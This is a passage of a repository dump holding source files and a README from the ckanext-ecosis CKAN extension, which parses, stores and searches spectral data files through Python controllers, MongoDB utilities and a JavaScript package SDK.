"5b48851a1f544f3a8f513705070933aceb6e6269", "content_id": "e7bacca701e38dca0a88cccb6d7e5adf70257795", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 167, "license_type": "no_license", "max_line_length": 36, "num_lines": 7, "path": "/ckanext/ecosis/datastore/files/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from . import process\nfrom . import excel\n\n# inject global dependencies\ndef init(collections, workspaceDir):\n process.init(collections)\n excel.init(workspaceDir)" }, { "alpha_fraction": 0.6666666865348816, "alphanum_fraction": 0.6666666865348816, "avg_line_length": 16.33333396911621, "blob_id": "aff69c0b8075074d07d65a1dfd000d87a49f7d84", "content_id": "a2aff2a95108d4fd8fc05f419df9968bee9d216b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 51, "license_type": "no_license", "max_line_length": 37, "num_lines": 3, "path": "/doi-admin/dev.sh", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "#! /bin/bash\n\npoly-next -r app -m elements -n index" }, { "alpha_fraction": 0.5744456052780151, "alphanum_fraction": 0.5776135325431824, "avg_line_length": 30.566667556762695, "blob_id": "cc94b05a8df1975adaee4977c490f010c383f031", "content_id": "1cceb1096033d50163f5d783120413c9f929be4b", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 947, "license_type": "no_license", "max_line_length": 97, "num_lines": 30, "path": "/setup.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "from setuptools import setup, find_packages\nimport sys, os\n\nversion = '0.1'\n\nsetup(\n name='ckanext-ecosis',\n version=version,\n description=\"EcoSIS extension adding additional fields and controls for spectral data\",\n long_description=\"\"\"\\\n \"\"\",\n classifiers=[], # Get strings from http://pypi.python.org/pypi?%3Aaction=list_classifiers\n keywords='Spectra',\n author='Justin Merz',\n author_email='[email protected]',\n url='http://www.ucdavis.edu',\n license='',\n packages=find_packages(exclude=['ez_setup', 'examples', 'tests']),\n namespace_packages=['ckanext'],\n include_package_data=True,\n zip_safe=False,\n install_requires=[],\n entry_points=\"\"\"\n [ckan.plugins]\n ecosis=ckanext.ecosis.plugin:EcosisPlugin\n\n [ckan.click_command]\n ecosis = ckanext.ecosis.user_data.paster\n \"\"\",\n)\n" }, { "alpha_fraction": 0.3857142925262451, "alphanum_fraction": 0.3897959291934967, "avg_line_length": 22.380952835083008, "blob_id": "6baa91f779baeb42314f2f3f9702d2f126e9cbf2", "content_id": "bc1ad06a9eea58c118a979afa065947a8574d447", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 490, "license_type": "no_license", "max_line_length": 66, "num_lines": 21, "path": "/ckanext/ecosis/datastore/mapreduce/lookup_reduce.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "function(key, values){\n var result = {\n key : '',\n count : 0,\n value : ''\n };\n\n var v;\n for( i = 0; i < values.length; i++ ) {\n v = values[i];\n\n // key track of all metadata attribute and wavelengths\n if( v.count !== undefined) {\n result.count += v.count;\n result.key = v.key;\n result.value = v.value;\n }\n }\n\n return result;\n}" }, { "alpha_fraction": 0.6585136651992798, "alphanum_fraction": 0.6585136651992798, "avg_line_length": 26.986841201782227, "blob_id": "b05e6f5f5f7a5c19fcb69f30f49999ed13cd4b3d", "content_id": "f403b388704a1c4befad7de9773919ae800990c2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2126, "license_type": "no_license", "max_line_length": 80, "num_lines": 76, "path": "/ckanext/ecosis/controller/workspace/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import ckanext.ecosis.datastore.workspace as workspace\nimport ckanext.ecosis.datastore.query.workspace as workspaceQuery\nfrom ckanext.ecosis.datastore.push import Push\nfrom ckanext.ecosis.lib.utils import jsonStringify\n\nfrom ckan.common import request\nfrom ckan.lib.base import c, model\nimport ckan.logic as logic\n\ndef prepare():\n package_id = request.params.get('package_id')\n\n # get package by name or id\n context = {'model': model, 'user': c.user}\n ckanPackage = logic.get_action('package_show')(context, {'id': package_id})\n\n if ckanPackage == None:\n raise Exception('Invalid package ID')\n\n force = request.params.get('force')\n clean = request.params.get('clean')\n if force == \"true\":\n force = False\n else:\n force = False\n\n # remove old unused packages\n workspace.clean(current_package_id=package_id)\n\n if clean == \"true\":\n workspace.cleanPackage(ckanPackage.get(\"id\"))\n\n result = workspace.prepare(ckanPackage.get(\"id\"), force)\n\n if clean == \"true\":\n result['cleaned'] = True\n\n return jsonStringify(result)\n\ndef pushToSearch():\n package_id = request.params.get('package_id')\n email = request.params.get('email')\n if email is None:\n email = \"false\"\n\n context = {'model': model, 'user': c.user}\n ckanPackage = logic.get_action('package_show')(context, {\"id\": package_id})\n\n if email == True or email.lower() == \"true\":\n email = True\n else:\n email = False\n\n push = Push()\n\n return push.run(ckanPackage, email, c.userobj.email, c.userobj.display_name)\n\ndef get():\n package_id = request.params.get('package_id')\n\n # get package by name or id\n context = {'model': model, 'user': c.user}\n ckanPackage = logic.get_action('package_show')(context, {'id': package_id})\n\n return jsonStringify(workspaceQuery.get(ckanPackage.get(\"id\")))\n\ndef clean():\n response.headers[\"Content-Type\"] = \"application/json\"\n\n package_id = request.params.get('package_id')\n workspace.cleanPackage(package_id)\n\n return jsonStringify({\n \"cleaned\": True,\n \"packageId\" : package_id\n })" }, { "alpha_fraction": 0.7171880006790161, "alphanum_fraction": 0.717510461807251, "avg_line_length": 33.07692337036133, "blob_id": "0f3c65a04301c8627bda7e6d6354d28a9b0952a9", "content_id": "d9e3a0df3742243806d96019410d37a35ab85ea9", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 6202, "license_type": "no_license", "max_line_length": 244, "num_lines": 182, "path": "/ckanext/ecosis/datastore/README.md", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "## Importing Spectra\n\nThe idea is that this module can operate standalone without any CKAN code allowing\nfor faster development and debugging. The __init__.py contains a sample script\nfor importing spectra and then querying by package_id and index.\n\n## Data Flow\n\nTo add spectra to the system, first resources should be added to a package, just\nlike any other CKAN dataset. Once the files are added and exist both in PostgreSQL\nand the filesystem, you can the spectra to the importer, passing the full path\nto the file, the package_id and the resource_id. You can also pass options the\noptions are as follows:\n\n```\n{\n // this file is not to be parsed\n \"ignore\" : Boolean,\n\n // is this tabular data file laid out by column or row?\n \"layout\" : [row/column],\n\n // is this sheet joinable metadata?\n \"metadata\" : Boolean,\n\n // if this sheet is joinable metadata, what is the join key?\n \"joinOn\" : String,\n}\n```\n\nAssuming the file is a supported tabular type. Currently:\n - csv\n - tsv\n - xls\n - xlsx\n - spectra (parsed as tsv)\n - zip (extracted and crawled for above filetypes)\n\nThe files will be parsed and added to the spectra workspace collection. This\ncollection contains 'chunks' for spectra based on the current parse information.\nThese chunks look like:\n\n```\n{\n \"package_id\" : String,\n \"resource_id\" : String,\n\n // if it came from excel, the sheet is remembered\n \"sheetId\" : String,\n\n // did this come from a joinable metadata file or a data file\n \"type\" : [metadata/data],\n\n // the parsed column or row\n spectra : {}\n}\n```\n\nMeanwhile the resource file info will be saved in the resource workspace collection.\nThis collection contains the 'options' provided above as well as:\n```\n{\n // full path to the file\n \"file\" : String,\n\n \"package_id\" : String,\n \"resource_id\" : String,\n \"sheet_id\" : String,\n\n // flag that this a from a ckan resource that was a zip file\n // the importer is then faking as a new resource that CKAN is unaware of\n \"fromZip\" : Boolean,\n\n // if this resource is from a zipfile, keep track of the 'parent' zipfile info\n \"zip\" : {\n // zip file name\n \"name\" : String,\n // zip file resource id (known to CKAN)\n \"resource_id\" : String\n },\n\n // the tabular data parser figures out where the data actually starts and stops.\n // so if the first row with data is row 8, then start would be 8.\n \"localRange\" : {\n \"start\" : Number,\n \"stop\" : Number\n },\n\n // just like 'localRange' but for the global key/value pairs at the top of the\n // file. This is optional.\n \"globalRange\" : {}\n\n // every attribute that is found is stored here so we know what the schema\n // for the datasheet actually is\n \"attributes\" : [{\n // everything is metadata unless the attribute name is really a number (wavelength)\n // then the attribute is marked as data\n \"type\" : [metadata/data],\n\n // original name found in file\n \"originalName\" : String\n\n // the attribute name may contain units, it also my be a close match to a\n // EcoSIS standard name but have a different case or extra spaces. If this\n // is the case, the name is 'cleaned', the units are stripped out and/or the\n // name is set to the EcoSIS standard name.\n \"name\" : String,\n\n // any units that are found in the originalName, formatted by (UNITS), ex:\n // 'attr_in_meters (m)', will be stored here\n \"units\" : String,\n\n // id containing the row and column for where the attribute can be found in\n // the datasheet\n \"pos\" : \"[row]-[column]\"\n }]\n}\n```\n\nNow all spectra data is parsed and ready to be inspected by the user.\n\n## Querying Spectra in Import Data stored\n\nOnce the spectra is in place, users can ask to inspect spectra and see what the\nfinal product will look like once it is pushed to EcoSIS search. This query lets\nthe user select a package_id and optionally a resource_id and then a specific index.\nYou can think of the spectra being stored in an array with default MongoDB sort\norder.\n\nWhen a query is preformed the following occurs:\n- the 'data' chunk is retrieved from the spectra workspace collection\n- the 'data' chunk is joined with any metadata junks. This process happens as follows\n - All metadata resources for the package are retrieved from the resource workspace collection.\n - if the 'data' chunk has the 'joinOn' attribute for this metadata resource, a query is preformed to see if any metadata chunk for this resource as the same key/value pair.\n - if a match is found, all attributes from the metadata chunk are added to the data chunk\n- Once the join is completed, all wavelengths are moved to the 'datapoints' attribute.\n- Then all custom attribute name mappings are preformed\n- all USDA plant code information is looked up and added, if provided\n- controlled vocabularies are enforced.\n - if an attribute is a controlled vocab and it's value is not allowed the value is either moved to 'Other [Attribute Name]' if other is allowed, or the attribute value is removed completely.\n- the ecosis namespace is add. A description of this is below\n- the sort value is set to the EcoSIS namespace.\n - if a sort value is specified for the dataset and this spectra has the attribute the attribute will be placed in ecosis.sort. The catch is that that the attribute will be parsed as either a String, Number or Date depending on the sort_type.\n- the location information is assigned.\n - if there is a geojson attribute it is parsed as JSON and assigned to ecosis.location.\n - if a latitude and a longitude are provided, a new GeoJSON object is created and assigned to the ecosis.location.\n\nNow the spectra object is ready to be either inserted into search or inspected by\nthe user.\n\nHere is what the ecosis namespace contains for a spectra:\n```\n{\n package_id : String,\n resource_id : String,\n datasheet_id : String,\n\n // just the uploaded filename\n filename : String,\n\n // current title for the package\n package_title : String,\n\n // link to dataset in search,\n dataset_link : String,\n\n // link to dataset in API\n dataset_api_link : String,\n\n // organization name\n organization : String,\n\n // if provided\n sort : [String|Number|Date],\n\n // if provided\n geojson : {}\n}\n```\n\n\n TODO: finish this..\n" }, { "alpha_fraction": 0.5570198893547058, "alphanum_fraction": 0.5589922666549683, "avg_line_length": 20.956693649291992, "blob_id": "6dbeb1113ff42ff0746aea5df3b6993487e84933", "content_id": "7621010f4d3b2d82784f8fee0c00c57d27615c06", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 11154, "license_type": "no_license", "max_line_length": 116, "num_lines": 508, "path": "/spectra-importer/lib/package/index.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var extend = require('extend');\nvar schema = require('../schema');\nvar createSchemaMethods = require('./createSchemaMethods');\nvar template = require('./template');\nvar crud = require('./crud');\nvar EventEmitter = require(\"events\").EventEmitter;\n\n\nvar ignore = ['Species', 'Date'];\n\nfunction Package(initdata, SDK) {\n\n this.reset = function(data) {\n if( data ) {\n this.data = extend(true, {}, data);\n } else {\n this.data = {\n id : '',\n title : '',\n name : '',\n notes : '',\n author : '',\n author_email : '',\n license_id : '',\n license_title : '',\n maintainer : '',\n maintainer_email : '',\n version : '',\n owner_org : '',\n tags : [],\n private : false,\n extras : []\n };\n }\n };\n\n this.reset(initdata);\n\n this.ee = new EventEmitter();\n\n if( !SDK ) {\n throw(new Error('No SDK provided'));\n }\n this.SDK = SDK;\n\n this.on = function(event, fn) {\n this.ee.on(event, fn);\n };\n\n this._onUpdate = function(name) {\n this.ee.emit('update', {attribute: name});\n\n if( this.mode !== 'create' ) {\n this.save();\n } else {\n this.ee.emit('value-set-on-create', {});\n }\n };\n\n this.getId = function() {\n return this.data.id || '';\n };\n\n this.setTitle = function(title, callback) {\n title = title.replace(/_/g, ' ').trim();\n\n if( title.length >= 100 ) {\n return callback({error: true, message: 'Invalid name. Title can have at most 100 characters.'});\n }\n\n if( title.length <= 5 ) {\n return callback({error: true, message: 'Invalid name. Title must have at least 5 characters.'});\n }\n\n var name = title.toLowerCase().replace(/[^a-z0-9]/g,'-');\n\n if( this.data.name === name ) {\n this.data.title = title;\n return callback(null, {title: title, name: name});\n }\n\n SDK.verify.name(name, function(valid) {\n if( !valid ) {\n return callback({error: true, message: 'Invalid name. A dataset with the name \"'+name+'\" already exists'});\n }\n\n this.data.title = title;\n this.data.name = name;\n this._onUpdate('Title');\n\n callback(null, {title: title, name: name});\n }.bind(this));\n };\n\n this.getName = function() {\n return this.data.name || '';\n };\n\n this.getTitle = function() {\n return this.data.title || '';\n };\n\n this.setDescription = function(description) {\n this.data.notes = description;\n this._onUpdate('Description');\n };\n\n this.getDescription = function() {\n return this.data.notes || '';\n };\n\n this.getKeywords = function(){\n return this.data.tags || [];\n };\n\n this.setKeywords = function(keywords) {\n if( typeof keywords === 'string' ) {\n keywords = keywords.split(',');\n }\n\n if( !Array.isArray(keywords) ) {\n throw(new Error('Keywords must by of type string or array'));\n }\n\n this.data.tags = [];\n keywords.forEach(this.addKeyword.bind(this));\n };\n\n this.addKeyword = function(keyword) {\n if( typeof keyword === 'object' ) {\n keyword = keyword.name;\n\n }\n\n keyword = cleanKeyword(keyword+'');\n\n if( keyword.length < 2 ) {\n return;\n } else if( this.hasKeyword(keyword) ) {\n return;\n }\n\n if( !this.data.tags ) {\n this.data.tags = [];\n }\n\n this.data.tags.push({\n display_name : keyword,\n name : keyword\n });\n\n this._onUpdate('Keywords');\n };\n\n this.removeKeyword = function(keyword) {\n if( !this.data.tags ) return;\n\n for( var i = 0; i < this.data.tags.length; i++ ) {\n if( this.data.tags[i].name === keyword ) {\n this.data.tags.splice(i, 1);\n break;\n }\n }\n\n this._onUpdate('Keywords');\n };\n\n this.hasKeyword = function(keyword) {\n if( !this.data.tags ) return false;\n for( var i = 0; i < this.data.tags.length; i++ ) {\n if( this.data.tags[i].name === keyword ) {\n return true;\n }\n }\n return false;\n };\n\n\n function cleanKeyword(txt) {\n return txt.replace(/[^A-Za-z0-9-_ ]/g, '').toLowerCase().trim();\n }\n\n this.setLicense = function(id, title) {\n this.data.license_id = id;\n this.data.license_title = title;\n this._onUpdate('License');\n };\n\n this.getLicenseId = function() {\n return this.data.license_id || '';\n };\n\n this.getLicenseTitle = function() {\n return this.data.license_title || '';\n };\n\n this.setOrganization = function(id, callback) {\n if( !id ) {\n this.data.owner_org = '';\n if( callback ) {\n callback({success: true});\n }\n return;\n }\n\n SDK.ckan.getOrganization(id, function(resp){\n if( resp.error ) {\n if( callback ) callback(resp);\n return;\n }\n\n this.data.owner_org = resp.id;\n this._onUpdate('Organization');\n\n if( callback ) {\n callback({success: true});\n }\n }.bind(this));\n };\n\n this.getOrganization = function() {\n return this.data.owner_org || '';\n };\n\n this.setVersion = function(version) {\n this.data.version = version;\n this._onUpdate('Version');\n };\n\n this.getVersion = function() {\n return this.data.version || '';\n };\n\n this.setWebsite = function(website) {\n this.setExtra('Website', website);\n this._onUpdate('Website');\n };\n\n this.getWebsite = function() {\n return this.getExtra('Website');\n };\n\n this.setAuthor = function(author) {\n this.data.author = author;\n this._onUpdate('Author');\n };\n\n this.getAuthor = function() {\n return this.data.author || '';\n };\n\n this.setAuthorEmail = function(author_email) {\n this.data.author_email = author_email;\n this._onUpdate('AuthorEmail');\n };\n\n this.getAuthorEmail = function() {\n return this.data.author_email || '';\n };\n\n this.setMaintainer = function(maintainer) {\n this.data.maintainer = maintainer;\n this._onUpdate('Maintainer');\n };\n\n this.getMaintainer = function() {\n return this.data.maintainer || '';\n };\n\n this.setMaintainerEmail = function(maintainer_email) {\n this.data.maintainer_email = maintainer_email;\n this._onUpdate('MaintainerEmail');\n };\n\n this.getMaintainerEmail = function() {\n return this.data.maintainer_email || '';\n };\n\n this.setPrivate = function(private) {\n if( this.data.private === private ) return;\n this.data.private = private;\n this._onUpdate('Private');\n };\n\n this.isPrivate = function() {\n return this.data.private ? true : false;\n };\n\n this.setLinkedData = function(data) {\n var newData = JSON.stringify(data);\n var oldData = JSON.stringify(this.getLinkedData());\n\n if( newData === oldData ) return;\n\n this.setExtra('LinkedData', newData);\n\n this.ee.emit('update', {attribute: name});\n\n if( this.mode !== 'create' ) {\n this.SDK.ckan.updateLinkedResources(this.data.id, data, function(resp) {\n console.log(resp);\n });\n } else {\n this.ee.emit('value-set-on-create', {});\n }\n };\n\n this.getLinkedData = function() {\n var value = this.getExtra('LinkedData');\n if( !value ) return [];\n\n try {\n return JSON.parse(value);\n } catch(e) {}\n\n return [];\n };\n\n this.requestDoi = function() {\n var doi = this.getDoi();\n\n if( doi.status.value !== 'Pending Revision' && doi.status.value ) {\n return false;\n }\n\n this.setExtra('EcoSIS DOI Status', JSON.stringify({value:'Pending Approval'}));\n this._onUpdate('EcoSIS DOI Status');\n \n return true;\n };\n \n this.cancelDoiRequest = function() {\n var doi = this.getDoi();\n\n if( doi.status.value !== 'Pending Revision' && doi.status.value !== 'Pending Approval' ) {\n return false;\n }\n\n this.setExtra('EcoSIS DOI Status', JSON.stringify({}));\n this._onUpdate('EcoSIS DOI Status');\n \n return true;\n };\n\n this.getDoi = function() {\n var status = this.getExtra('EcoSIS DOI Status');\n var value = this.getExtra('EcoSIS DOI');\n \n if( status && status.length > 0 ) {\n status = JSON.parse(status);\n } else {\n status = {};\n }\n\n return {\n status : status,\n value : value\n };\n };\n\n this.setSort = function(data) {\n this.setExtra('sort', JSON.stringify(data));\n this._onUpdate('sort');\n };\n\n this.getSort = function() {\n var value = this.getExtra('sort');\n if( !value ) return [];\n\n try {\n return JSON.parse(value);\n } catch(e) {}\n\n return {};\n };\n\n this.setAliases = function(data) {\n this.setExtra('aliases', JSON.stringify(data));\n this._onUpdate('aliases');\n };\n\n this.getAliases = function() {\n var value = this.getExtra('aliases');\n if( !value ) return {};\n\n try {\n var t = JSON.parse(value);\n // hack\n if( Array.isArray(t) ) return {};\n return t;\n } catch(e) {}\n\n return {};\n };\n\n this.setGeoJson = function(data) {\n if( !data ) {\n this.setExtra('geojson', '');\n } else {\n this.setExtra('geojson', JSON.stringify(data));\n }\n\n this._onUpdate('geojson');\n };\n\n this.getGeoJson = function() {\n var value = this.getExtra('geojson');\n if( !value ) return {};\n\n try {\n return JSON.parse(value);\n } catch(e) {}\n\n return {};\n };\n\n this.addResource = function(file, callback, progress) {\n function next(resp) {\n if( resp.error ) {\n return callback(error);\n }\n\n SDK.ckan.processResource(\n this.data.id,\n [resp.id],\n null,\n {layout: 'column'},\n function(resp){\n if( resp.error ) {\n return callback(resp);\n }\n\n // get new workspace state\n // TODO: proly a better way TODO this.\n SDK.ckan.getWorkspace(this.data.id, function(result){\n if( result.error ) {\n return callback(result);\n }\n SDK.ds.runAfterResourceAdd(result);\n\n callback({success: true});\n });\n\n }.bind(this));\n }\n\n SDK.ckan.addResource(this.data.id, file, next.bind(this), progress);\n };\n\n this.getExtra = function(key) {\n if( !this.data.extras ) return '';\n\n for( var i = 0; i < this.data.extras.length; i++ ) {\n if( this.data.extras[i].key === key ) {\n return this.data.extras[i].value;\n }\n }\n\n return '';\n };\n\n this.setExtra = function(key, value) {\n if( !this.data.extras ) this.data.extras = [];\n\n for( var i = 0; i < this.data.extras.length; i++ ) {\n if( this.data.extras[i].key == key ) {\n if( value === '' || value === null || value === undefined ) {\n this.data.extras.splice(i, 1);\n } else {\n this.data.extras[i].value = value;\n }\n return;\n }\n }\n\n if( value === '' || value === null || value === undefined ) {\n return;\n }\n\n this.data.extras.push({\n key : key,\n value : value\n });\n };\n\n // Should only be used for test data!!\n this._setTesting = function() {\n this.setExtra('_testing_', true);\n };\n\n}\n\n// extend package getters/setters based on schema\nfor( var key in schema ) {\n if( ignore.indexOf(key) > -1 ) {\n continue;\n }\n\n for( var i = 0; i < schema[key].length; i++ ){\n createSchemaMethods(schema[key][i], Package);\n }\n}\n\ntemplate(Package);\ncrud(Package);\n\n\nmodule.exports = Package;\n" }, { "alpha_fraction": 0.7413793206214905, "alphanum_fraction": 0.75, "avg_line_length": 27.25, "blob_id": "534b33e3eaee408b1617daf4c135f4113a0532cc", "content_id": "41fd088865dbbb8de1fdbcc68edd67b408e7076c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 116, "license_type": "no_license", "max_line_length": 55, "num_lines": 4, "path": "/ckanext/ecosis/controller/workspace/import.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "# Contains functions for importing from remote zip file\n# Can be web or s3 accessible\n\n# def packageImport(uri):\n " }, { "alpha_fraction": 0.5322712659835815, "alphanum_fraction": 0.5428921580314636, "avg_line_length": 21.254545211791992, "blob_id": "a7f4a32945eb353d0733fa1abb2230443360a970", "content_id": "d4a31ee4301671c3adb2c55285715d23ecae93a8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 2448, "license_type": "no_license", "max_line_length": 135, "num_lines": 110, "path": "/spectra-importer/app/import/scripts/app.js", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "var ecosis = (function(){\n var host = window.location.host.indexOf(':3001') > -1 ? 'http://localhost:5000' : window.location.protocol+'//'+window.location.host;\n var pages = ['add-resources', 'current-resources', 'advanced', 'push', 'basic'];\n\n function getVar(variable) {\n var query = window.location.search.substring(1);\n \tvar vars = query.split(\"&\");\n \tfor (var i = 0; i < vars.length; i++) {\n \t\tvar pair = vars[i].split(\"=\");\n \t\tif( pair[0] == variable ) return pair[1];\n \t}\n \treturn null;\n }\n\n var currentPkg = getVar('id');\n var defaultGroup = '';\n if( !currentPkg ) {\n defaultGroup = getVar('group');\n }\n \n var ecosis = new Ecosis({\n host : host,\n package_id : currentPkg,\n defaultGroup : defaultGroup\n });\n\n ecosis.app = {};\n\n function UiBuffer(fn, timeout, bind) {\n var timer = -1;\n\n function bufferFn() {\n if( timer !== -1 ) {\n clearTimeout(timer);\n }\n var args = arguments;\n\n timer = setTimeout(function(){\n timer = -1;\n fn.apply(bind, args);\n }, timeout);\n }\n\n return bufferFn;\n }\n ecosis.app.UiBuffer = UiBuffer;\n\n var currentPage = '';\n function updatePage() {\n var hash = window.location.hash.replace(/#/,'');\n if( hash == 'currentPage' ) return;\n\n $('.page').hide();\n\n if( pages.indexOf(hash) > -1 ) show(hash);\n else show('basic');\n }\n\n function show(hash) {\n var ele = $('#'+hash+'.page').css('display','block')[0];\n if( ele && ele.onShow ) ele.onShow();\n }\n\n function onLoad(){\n updatePage();\n $('#splash').modal('hide');\n }\n\n // show splash screen\n $(document).ready(function(){\n\n ecosis.errorPopup = document.querySelector('ecosis-error-popup');\n $('.page').hide();\n\n if( !currentPkg ) {\n updatePage();\n return;\n }\n\n setTimeout(function(){\n if( ecosis.ds.loaded || ecosis.ds.loadingError ) {\n if( ecosis.ds.loadingError ) {\n // ERROR 1\n ecosis.ds.loadingError.code = 1;\n ecosis.errorPopup.show(ecosis.ds.loadingError);\n } else {\n onLoad();\n }\n } else {\n $('#splash').modal();\n ecosis.ds.on('load-error', function(e){\n $('#splash').modal('hide');\n\n // ERROR 2\n e.code = 2;\n ecosis.errorPopup.show(e);\n });\n\n ecosis.ds.on('load', onLoad);\n }\n }, 1000);\n\n });\n\n\n $(window).on('hashchange', updatePage);\n\n\n return ecosis;\n})();\n" }, { "alpha_fraction": 0.5224606394767761, "alphanum_fraction": 0.5287553668022156, "avg_line_length": 25.484848022460938, "blob_id": "8cb941e2763ee5b22f4e243d228d1ae9f1ced222", "content_id": "011d2a7709c0f9e2e9161c767dc2d2847c6acfe7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3495, "license_type": "no_license", "max_line_length": 90, "num_lines": 132, "path": "/ckanext/ecosis/datastore/files/utils.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import re\nfrom ..vocab import controlled as controlledVocabulary\n\n'''\nUtilities for the process module\n'''\n\n# grab extension for a file\n# TODO: make lower case\ndef getFileExtension(filename):\n return re.sub(r\".*\\.\", \"\", filename)\n\n# given a sheet config, get the correct layout\ndef getLayout(sheetConfig):\n layout = 'row' # default\n\n if 'layout' in sheetConfig:\n layout = sheetConfig['layout']\n else: # set default for saving\n sheetConfig['layout'] = 'row'\n\n return layout\n\n# walk of data[][] and discover data ranges\n# this will find the first two tables of data\ndef getDataRanges(data):\n ranges = []\n r = {\n \"start\" : 0,\n \"stop\" : 0\n }\n started = False\n couldBeGlobal = False\n\n i = 0\n for i in range(0, len(data)):\n if _isEmptyRow(data[i]):\n if started:\n r['stop'] = i-1\n ranges.append(r)\n started = False\n if len(ranges) == 2:\n break\n else:\n r = {\"start\":0, \"stop\":0}\n continue\n\n elif couldBeGlobal and len(data[i]) != 2:\n r['stop'] = i-1\n ranges.append(r)\n started = False\n couldBeGlobal = False\n if len(ranges) == 2:\n break\n else:\n r = {\"start\":0, \"stop\":0}\n\n if not started:\n # if we are on the first range and there are two columns\n # we may be looking at global data\n if len(data[i]) == 2 and len(ranges) == 0:\n couldBeGlobal = True\n r['start'] = i\n started = True\n\n if started and len(ranges) < 2:\n r['stop'] = i\n ranges.append(r)\n elif not started and len(ranges) == 0:\n ranges.append(r)\n\n return ranges\n\n# is a row array empty\ndef _isEmptyRow(row):\n if len(row) == 0:\n return True\n\n for i in range(0, len(row)):\n if row[i] != \"\" and row[i] != None:\n return False\n\n return True\n\n# parse out the attribute information from the attribute information\n# TODO: check for units and attribute data type\ndef parseAttrType(name, pos):\n original = name\n units = None\n\n # clean up string\n name = name.strip()\n\n # parse out units\n if re.match(r\".*\\(.*\\)\\s*$\", name):\n units = re.sub(r\".*\\(\",\"\", name)\n units = re.sub(r\"\\)\\s*\",\"\", units)\n name = re.sub(r\"\\(.*\", \"\", name).strip()\n\n type = \"metadata\" # default type\n\n # if attribute name is actually a number, assum its a wavelength\n if re.match(r\"^-?\\d+\\.?\\d*\", name) or re.match(r\"^-?\\d*\\.\\d+\", name):\n type = \"wavelength\"\n name = re.sub(r\"\\.0+$\", \"\", name)\n # otherwise lookup and see if we 'flatten' (lower case, no spaces) name, does it match\n # a EcoSIS defined schema name. If so, set as 'pretty' schema name\n else:\n name = controlledVocabulary.getEcoSISName(name)\n\n # clean up name for Mongo\n if type == \"metadata\":\n name = re.sub(r'[\\.\\$]', '', name)\n else:\n name = re.sub(r'\\$', '', name)\n name = re.sub(r'\\.', ',', name)\n\n attr = {\n \"type\" : type,\n \"name\" : name,\n \"pos\" : \"%s-%s\" % (pos[0], pos[1])\n }\n\n # if units were found, store them\n if units != None:\n attr[\"units\"] = units\n\n # if the name was changed, store the name that was given to us as well\n if original != name:\n attr[\"originalName\"] = original\n\n return attr" }, { "alpha_fraction": 0.6838937997817993, "alphanum_fraction": 0.6991150379180908, "avg_line_length": 31.86046600341797, "blob_id": "f2537570b25232aabf10425bb1246da1523bb6ec", "content_id": "1a1e5336526841feb66ed3d625640ee569f5dcb0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2825, "license_type": "no_license", "max_line_length": 151, "num_lines": 86, "path": "/ckanext/ecosis/datastore/__init__.py", "repo_name": "CSTARS/ckanext-ecosis", "src_encoding": "UTF-8", "text": "import json, re\n# import ConfigParser\nimport time\n\nfrom pymongo import MongoClient\n\nfrom . import files, ckan, vocab, delete, query, workspace\nfrom .query import workspace as workspaceQuery\nfrom .utils import storage as ckanFileStorage\nfrom . import mapreduce\nfrom . import push\nfrom .ckan import package\nfrom ckanext.ecosis.datastore.mongo import db\n\ncollections = None\n\ndef init(schema, coll, pgConn, host, resourceUtil, workspacePath):\n global collections\n collections = coll;\n\n ensureIndexes(collections)\n\n files.init(collections, workspacePath)\n ckan.init(pgConn, schema)\n query.init(collections, host)\n vocab.init(schema, collections)\n delete.init(collections, workspacePath)\n workspace.init(collections, resourceUtil, workspacePath)\n mapreduce.init(collections, schema)\n push.init(collections)\n\ndef getCollections():\n return collections\n\ndef ensureIndexes(collections):\n collectionNames = db.list_collection_names()\n for name in collectionNames:\n if re.match(r'workspace_spectra_.*', name):\n db[name].create_index('index')\n\n collections.get('resource').create_index('sheetId')\n\n collections.get('package').create_index('packageId')\n collections.get('resource').create_index('packageId')\n collections.get('resource').create_index('resourceId')\n\ndef test():\n t = time.time()*1000\n\n # config = ConfigParser.ConfigParser()\n config.read('/etc/ckan/default/development.ini')\n\n schema = \"test/schema.json\"\n file = \"/home/adminuser/Downloads/demodata.csv\"\n metadataFile = \"/home/adminuser/Downloads/demometadata.csv\"\n\n\n pgConnStr = config.get(\"app:main\", \"sqlalchemy.url\")\n\n with open(schema) as schema_file:\n schema = json.load(schema_file)\n\n client = MongoClient(config.get(\"app:main\", \"ecosis.mongo.url\"))\n db = client[config.get(\"app:main\", \"ecosis.mongo.db\")]\n\n collections = {\n \"spectra\" : db[config.get(\"app:main\", \"ecosis.mongo.workspace_spectra_collection\")],\n \"resource\" : db[config.get(\"app:main\", \"ecosis.mongo.workspace_resource_collection\")],\n \"package\" : db[config.get(\"app:main\", \"ecosis.mongo.workspace_package_collection\")],\n \"usda\" : db[config.get(\"app:main\", \"ecosis.mongo.usda_collection\")],\n\n \"search_package\" : db[config.get(\"app:main\", \"ecosis.mongo.search_collection\")],\n \"spectra\" 